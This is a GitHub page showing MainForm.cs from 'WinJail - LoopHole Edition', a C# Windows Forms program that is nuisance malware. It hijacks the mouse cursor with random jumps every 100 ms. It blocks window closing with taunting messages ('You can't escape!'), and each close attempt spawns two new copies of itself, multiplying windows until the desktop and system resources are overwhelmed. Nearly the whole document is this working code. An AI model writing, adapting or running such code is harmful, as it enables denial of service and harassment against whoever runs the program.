-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMainForm.cs
More file actions
142 lines (122 loc) · 4.37 KB
/
MainForm.cs
File metadata and controls
142 lines (122 loc) · 4.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
using System;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using Timer = System.Windows.Forms.Timer;
namespace WinJail
{
public partial class MainForm : Form
{
private static int windowCount = 0;
private static readonly object lockObj = new object();
private static int currentCol = 0;
private static int currentRow = 0;
private static int maxCols;
private static int maxRows;
private static int winWidth = 550;
private static int winHeight = (int)(Screen.PrimaryScreen.Bounds.Height * 0.5);
private Timer phantomCursorTimer;
public MainForm()
{
InitializeComponent();
this.Text = "WinJail - LoopHole Edition";
InitializeUI();
this.FormClosing += MainForm_FormClosing;
lock (lockObj)
{
if (maxCols == 0 || maxRows == 0)
{
maxCols = Screen.PrimaryScreen.Bounds.Width / winWidth;
maxRows = Screen.PrimaryScreen.Bounds.Height / winHeight;
}
if (windowCount < maxCols * maxRows)
{
this.StartPosition = FormStartPosition.Manual;
this.Location = new Point(currentCol * winWidth, currentRow * winHeight);
currentCol++;
if (currentCol >= maxCols)
{
currentCol = 0;
currentRow++;
}
}
else
{
int offsetX = 30 * (windowCount - maxCols * maxRows);
int offsetY = 30 * (windowCount - maxCols * maxRows);
this.StartPosition = FormStartPosition.Manual;
this.Location = new Point(100 + offsetX, 100 + offsetY);
}
windowCount++;
}
}
private void InitializeUI()
{
phantomCursorTimer = new Timer();
phantomCursorTimer.Interval = 100;
phantomCursorTimer.Tick += (s, e) =>
{
Cursor.Position = new Point(Cursor.Position.X + random.Next(-40, 40), Cursor.Position.Y + random.Next(-40, 40));
};
phantomCursorTimer.Start();
this.Width = winWidth;
this.Height = winHeight;
this.FormBorderStyle = FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
try
{
PictureBox gifBox = new PictureBox
{
Image = Image.FromFile("loop.gif"),
SizeMode = PictureBoxSizeMode.StretchImage,
Dock = DockStyle.Fill
};
this.Controls.Add(gifBox);
gifBox.SendToBack();
}
catch (Exception ex)
{
MessageBox.Show("Failed to load GIF: " + ex.Message);
}
Panel overlay = new Panel
{
BackColor = Color.FromArgb(100, Color.DarkRed),
Dock = DockStyle.Fill
};
this.Controls.Add(overlay);
}
private string[] messages = new string[]
{
"You can't escape!",
"Try closing me again!",
"I’m watching you...",
"Gotcha!",
"This is endless!",
};
private Random random = new Random();
private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
this.Opacity = 0.3;
Timer flickerTimer = new Timer();
flickerTimer.Interval = 350;
flickerTimer.Tick += (s, args) =>
{
this.Opacity = 1.0;
flickerTimer.Stop();
};
flickerTimer.Start();
string msg = messages[random.Next(messages.Length)];
MessageBox.Show(msg, "WinJail says...", MessageBoxButtons.OK, MessageBoxIcon.Warning);
for (int i = 0; i < 2; i++)
{
Thread t = new Thread(() =>
{
Application.Run(new MainForm());
});
t.SetApartmentState(ApartmentState.STA);
t.Start();
}
}
}
}